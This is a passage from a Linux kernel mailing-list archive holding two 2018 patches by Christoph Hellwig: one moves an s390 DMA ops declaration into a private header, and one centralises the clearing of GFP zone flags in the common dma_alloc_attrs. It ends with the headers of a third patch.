	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 09:00:28 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBIr-0002Zo-OM
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 09:00:06 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D8616E9F;
	Wed, 10 Jan 2018 08:01:30 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 9EF36E88
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:29 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 58D211DE83
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:29 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=Afn0YIn1zKrL1IQlc79HRm4W+e1XRPY6Gc2rdlD9BfI=;
	b=ufs0dJF+MxFBZK7QJoCzF9Jmj
	v8Lw3t4ixT3u5NFcb9Zfy7XCdmdowN1dMQZWAOyeNcGbZk0g6GRAAXY+99XC9sRGZyYiO2IY82XLw
	Tnn3gc/qUlp4Q8J1KtvMXO4ih7u52LTOyybycAU/eAT36odBxmcAlIh61qOFq0Qx7ElVXoL9pwtX3
	cSbzqcQS9DdxhxT8HtAetE8ZqMuwYlayjFd3N1sYvyasTpe3u1yDpeVojMUWnVWoMdzrBn2s8mMLI
	eWquNPEprMhbFBhMPrGQgu6DRhTzBEAaSW32IcmTPVkqqt5TLo5ris/KSGZkI1FjdBf3KDw3U0grh
	lCgiKRrmQ==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBK9-0004wI-3m; Wed, 10 Jan 2018 08:01:25 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22046 gmane.linux.ports.mips.general:63212 gmane.linux.ports.ia64:28525 gmane.linux.ports.sh.devel:56257 gmane.linux.ports.sparc:27208 gmane.linux.kernel.cross-arch:41270 gmane.linux.ports.hexagon:1526 gmane.linux.kernel.arc:3310 gmane.linux.kernel.metag:1602 gmane.linux.ports.arm.kernel:625025 gmane.linux.ports.parisc:28201 gmane.linux.kernel:2662733 gmane.linux.ports.alpha:4700 gmane.linux.ports.ppc64.devel:151849
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22046>

This is not needed in drivers, so move it to a private header.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/s390/include/asm/dma-mapping.h | 2 --
 arch/s390/include/asm/pci_dma.h     | 3 +++
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index 2ec7240c1ada..bdc2455483f6 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -9,8 +9,6 @@
 #include <linux/dma-debug.h>
 #include <linux/io.h>
 
-extern const struct dma_map_ops s390_pci_dma_ops;
-
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &dma_noop_ops;
diff --git a/arch/s390/include/asm/pci_dma.h b/arch/s390/include/asm/pci_dma.h
index e8d9161fa17a..419fac7a62c0 100644
--- a/arch/s390/include/asm/pci_dma.h
+++ b/arch/s390/include/asm/pci_dma.h
@@ -201,4 +201,7 @@ void dma_cleanup_tables(unsigned long *);
 unsigned long *dma_walk_cpu_trans(unsigned long *rto, dma_addr_t dma_addr);
 void dma_update_cpu_trans(unsigned long *entry, void *page_addr, int flags);
 
+extern const struct dma_map_ops s390_pci_dma_ops;
+
+
 #endif
-- 
2.14.2


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 20/33] dma-mapping: clear harmful GFP_* flags in common code
Date: Wed, 10 Jan 2018 09:00:14 +0100
Lines: 201
Approved: news@gmane.org
Message-ID: <20180110080027.13879-21-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571235 15599 195.159.176.226 (10 Jan 2018 08:00:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:35 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 09:00:29 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBJ1-00034P-AW
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 09:00:15 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 39ADFFF2;
	Wed, 10 Jan 2018 08:01:39 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id A063DEF3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:37 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id C70221DE83
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:36 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=kiASGmiZul3LCTd2K8tf5F/JD5bt6pkN7jIkWZdtXIE=;
	b=aNitzHsftIuMr3C6QYkgheKJ7
	FSPi3FosxKbhRTUaoqI2+OU2L8bn1dXjsXydD63Y2QQUOm/Il72+IN8bVMAZJGTeKxq/2jRGOGYDJ
	ka1aL/+Lc/hvf2poRaFtbji9eXOWTPijATwg3IGdq+NF5lfor9gcGiroWLpUSFiKuFZ266pKcnyy+
	bH7KY0SzUh+bX7vwBfs60PD4TjEuaRNZKc1rJJY1jbnk5EV3Sx4RYnKTfKwXnPn5nw5nZ7NxMY8cI
	UPXkLG6BjQ/zE+6mRwdC/GnSOfVt1kBelNmnS+ewwS+hWFhMrmOahZ5o62KooFx1izLAQsC3d1Znz
	EJzFsMKfQ==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBKF-000542-8S; Wed, 10 Jan 2018 08:01:31 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22047 gmane.linux.ports.mips.general:63213 gmane.linux.ports.ia64:28526 gmane.linux.ports.sh.devel:56258 gmane.linux.ports.sparc:27209 gmane.linux.kernel.cross-arch:41271 gmane.linux.ports.hexagon:1527 gmane.linux.kernel.arc:3311 gmane.linux.kernel.metag:1603 gmane.linux.ports.arm.kernel:625026 gmane.linux.ports.parisc:28202 gmane.linux.kernel:2662734 gmane.linux.ports.alpha:4701 gmane.linux.ports.ppc64.devel:151850
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22047>

Lift the code from x86 so that we behave consistently.  In the future we
should probably warn if any of these is set.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Acked-by: Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>
Acked-by: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org> [m68k]
---
 arch/cris/arch-v32/drivers/pci/dma.c      | 3 ---
 arch/h8300/kernel/dma.c                   | 3 ---
 arch/m68k/kernel/dma.c                    | 2 --
 arch/mips/cavium-octeon/dma-octeon.c      | 3 ---
 arch/mips/loongson64/common/dma-swiotlb.c | 3 ---
 arch/mips/mm/dma-default.c                | 3 ---
 arch/mips/netlogic/common/nlm-dma.c       | 3 ---
 arch/mn10300/mm/dma-alloc.c               | 3 ---
 arch/nios2/mm/dma-mapping.c               | 3 ---
 arch/powerpc/kernel/dma.c                 | 3 ---
 arch/x86/kernel/pci-dma.c                 | 2 --
 include/linux/dma-mapping.h               | 7 +++++++
 12 files changed, 7 insertions(+), 31 deletions(-)

diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
index dbbd3816cc0b..8c3802244ef3 100644
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ b/arch/cris/arch-v32/drivers/pci/dma.c
@@ -22,9 +22,6 @@ static void *v32_dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
index 225dd0a188dc..d44ba5db4ac3 100644
--- a/arch/h8300/kernel/dma.c
+++ b/arch/h8300/kernel/dma.c
@@ -16,9 +16,6 @@ static void *dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 	ret = (void *)__get_free_pages(gfp, get_order(size));
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index 87ef73a93856..c01b9b8f97bf 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -76,8 +76,6 @@ static void *m68k_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
 
 	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index c64bd87f0b6e..5baf79fce643 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -161,9 +161,6 @@ static void *octeon_dma_alloc_coherent(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 	if (IS_ENABLED(CONFIG_ZONE_DMA) && dev == NULL)
 		gfp |= __GFP_DMA;
 	else if (IS_ENABLED(CONFIG_ZONE_DMA) &&
diff --git a/arch/mips/loongson64/common/dma-swiotlb.c b/arch/mips/loongson64/common/dma-swiotlb.c
index ef07740cee61..15388c24a504 100644
--- a/arch/mips/loongson64/common/dma-swiotlb.c
+++ b/arch/mips/loongson64/common/dma-swiotlb.c
@@ -15,9 +15,6 @@ static void *loongson_dma_alloc_coherent(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 	if ((IS_ENABLED(CONFIG_ISA) && dev == NULL) ||
 	    (IS_ENABLED(CONFIG_ZONE_DMA) &&
 	     dev->coherent_dma_mask < DMA_BIT_MASK(32)))
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index e3e94d05f0fd..237532e89919 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -93,9 +93,6 @@ static gfp_t massage_gfp_flags(const struct device *dev, gfp_t gfp)
 {
 	gfp_t dma_flag;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 #ifdef CONFIG_ISA
 	if (dev == NULL)
 		dma_flag = __GFP_DMA;
diff --git a/arch/mips/netlogic/common/nlm-dma.c b/arch/mips/netlogic/common/nlm-dma.c
index 0ec9d9da6d51..49c975b6aa28 100644
--- a/arch/mips/netlogic/common/nlm-dma.c
+++ b/arch/mips/netlogic/common/nlm-dma.c
@@ -47,9 +47,6 @@ static char *nlm_swiotlb;
 static void *nlm_dma_alloc_coherent(struct device *dev, size_t size,
 	dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 #ifdef CONFIG_ZONE_DMA32
 	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32))
 		gfp |= __GFP_DMA32;
diff --git a/arch/mn10300/mm/dma-alloc.c b/arch/mn10300/mm/dma-alloc.c
index 86108d2496b3..e3910d4db102 100644
--- a/arch/mn10300/mm/dma-alloc.c
+++ b/arch/mn10300/mm/dma-alloc.c
@@ -37,9 +37,6 @@ static void *mn10300_dma_alloc(struct device *dev, size_t size,
 		goto done;
 	}
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || dev->coherent_dma_mask < 0xffffffff)
 		gfp |= GFP_DMA;
 
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 7040c1adbb5e..4be815519dd4 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -63,9 +63,6 @@ static void *nios2_dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	/* optimized page clearing */
 	gfp |= __GFP_ZERO;
 
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 6d5d04ccf3b4..76079841d3d0 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -105,9 +105,6 @@ void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 	};
 #endif /* CONFIG_FSL_SOC */
 
-	/* ignore region specifiers */
-	flag  &= ~(__GFP_HIGHMEM);
-
 	page = alloc_pages_node(node, flag, get_order(size));
 	if (page == NULL)
 		return NULL;
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 8439e6de6156..61a8f1cb3829 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -87,7 +87,6 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 
 	dma_mask = dma_alloc_coherent_mask(dev, flag);
 
-	flag &= ~__GFP_ZERO;
 again:
 	page = NULL;
 	/* CMA can be used only in the context which permits sleeping */
@@ -139,7 +138,6 @@ bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp)
 	if (!*dev)
 		*dev = &x86_dma_fallback_dev;
 
-	*gfp &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
 	*gfp = dma_alloc_coherent_gfp_flags(*dev, *gfp);
 
 	if (!is_device_dma_capable(*dev))
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 9f28b2fa329e..88bcb1a8211d 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -518,6 +518,13 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
 		return cpu_addr;
 
+	/*
+	 * Let the implementation decide on the zone to allocate from, and
+	 * decide on the way of zeroing the memory given that the memory
+	 * returned should always be zeroed.
+	 */
+	flag &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM | __GFP_ZERO);
+
 	if (!arch_dma_alloc_attrs(&dev, &flag))
 		return NULL;
 	if (!ops->alloc)
-- 
2.14.2


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 32/33] cris: use dma-direct
Date: Wed, 10 Jan 2018 09:00:26 +0100
Lines: 177
Approved: news@gmane.org
Message-ID: <20180110080027.13879-33-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571281 25517 195.159.176.226 (10 Jan 2018 08:01:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:01:21 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jan 10 09:01:15 2018
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eZBJv-0005n9-GI
	for glps-linuxsh-dev@m.gmane.org; Wed, 10 Jan 2018 09:01:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754546AbeAJIDO (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Wed, 10 Jan 2018 03:03:14 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:34256 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965538AbeAJICM (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Wed, 10 Jan 2018 03:02:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=bumtw9yl/qZRv2qatXl7i98vr3DEzCFqYajzLY3Ep1M=; b=S/P3JLhW4BMwy3qbRgfXNA4ch
        pFD5UirDQPn1II4pXQpnPKTrxIo4UvPZLjKCLo1WsBqwvs/aqZOhcbXm+lvtC5RHAVna/4mx7c4I2
        TMXqxtsgcTSyNMejcbkQ4zbagAjz3T53dUMgAjivnf0b02fMmzsNEt1jtU1PXCx05bwC0ZNR3i9Ml
        xvfShMXC7mMEGbfjKqy3iJvW3BCwUZWFbE1dovqj8Pwd4ii2OiKW/aDScKFen5hafU9htM/WQ781w
        pi48q0OjYfxiJvTADLpvEraeO5Y4CLBANWLAKvbo306aPHTJcI1bkngDMJW8f5cShiiLX6Q3u2kRD
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKo-0005y2-NV; Wed, 10 Jan 2018 08:02:07 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
